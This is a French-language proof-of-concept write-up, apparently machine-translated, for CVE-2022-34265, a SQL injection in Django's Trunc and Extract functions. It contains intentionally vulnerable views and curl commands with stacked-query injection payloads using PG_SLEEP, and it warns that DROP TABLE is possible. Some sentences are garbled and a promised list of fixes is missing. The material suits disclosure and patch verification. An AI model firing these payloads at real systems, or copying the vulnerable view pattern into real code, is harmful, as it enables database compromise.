
PoC pour CVE-2022-34265 (Django)
démarrer
docker-compose build
docker-compose up -d
arrêter
docker-compose down
Une vulnérabilité (CVE-2022-34265) dans Django a été divulguée le 5 juillet 2022 (heure américaine). Cet article décrit notre discussion sur cette vulnérabilité et les résultats de notre vérification.
Cette vulnérabilité est due à un traitement incorrect des chaînes de caractères lors de l'exécution de SQL pour les arguments des fonctions Trunc et Extract utilisées pour les données de date dans Django. En spécifiant les paramètres de la requête tels quels dans l'argument kind de Trunc ou l'argument de , il existe un risque que des minutes SQL arbitraires puissent être exécutées.
En exploitant cette vulnérabilité, un tiers peut envoyer des commandes à la base de données pour accéder à des données non autorisées ou supprimer la base de données.
lookup_nameExtractParmi les nombreuses vulnérabilités découvertes dans Django par le passé, beaucoup étaient des vulnérabilités d'injection SQL, et nous nous sommes demandé s'il existait d'autres vulnérabilités comme CVE-2020-7471. Nous avons donc vérifié les arguments des fonctions de base de données un par un, nous avons trouvé des arguments qui n'avaient pas été désinfectés, et Takuto Yoshikai (l'auteur) a signalé cela à l'IPA et à l'équipe de développement de Django.
En conséquence, dans la version corrigeant CVE-2022-34265 :
Les actions suivantes ont été menées pour résoudre ces problèmes.
vuln/models.py
Nous avons utilisé un exemple de la Documentation Django, un modèle pour une table qui enregistre l'heure de début et de fin d'une date.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
Cela filtre les numéros d'année dans la colonne start_datetime de Experiment qui sont identiques à l'année, au mois, au jour, à l'heure, à la minute, à la seconde, etc. de end_datetime. La vulnérabilité d'injection SQL peut être déclenchée à partir de ce point.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
La fonction Trunc est utilisée pour tronquer les parties spécifiques de l'année, du mois, du jour, de l'heure, de la minute, de la seconde, etc. des données de date et d'heure. Dans l'exemple ci-dessus, start_datetime et start_datetime avec la partie payload tronquée correspondent au même enregistrement. C'est ici que la vulnérabilité d'injection SQL pourrait être déclenchée.
Pour vérifier que l'attaque réussit, utilisez l'instruction PG_SLEEP pour voir s'il y a un délai dans le temps de réponse.
# URL normale
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL où l'instruction de base de données peut être exécutée
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
J'ai spécifié 5 secondes dans PG_SLEEP, mais il semble que PG_SLEEP(5) prenne plusieurs secondes. Il semble être appelé plusieurs secondes selon l'implémentation et la situation. Étant donné que des instructions SQL arbitraires peuvent être exécutées, des attaques dangereuses telles que la suppression de la base de données sont possibles.
À la suite de notre discussion et de notre vérification, nous avons constaté qu'il n'y a pas une faible possibilité qu'une attaque réussisse selon l'implémentation. Nous vous recommandons de mettre à jour votre système dès que possible pour éviter le risque de DROP TABLE dans le pire des cas.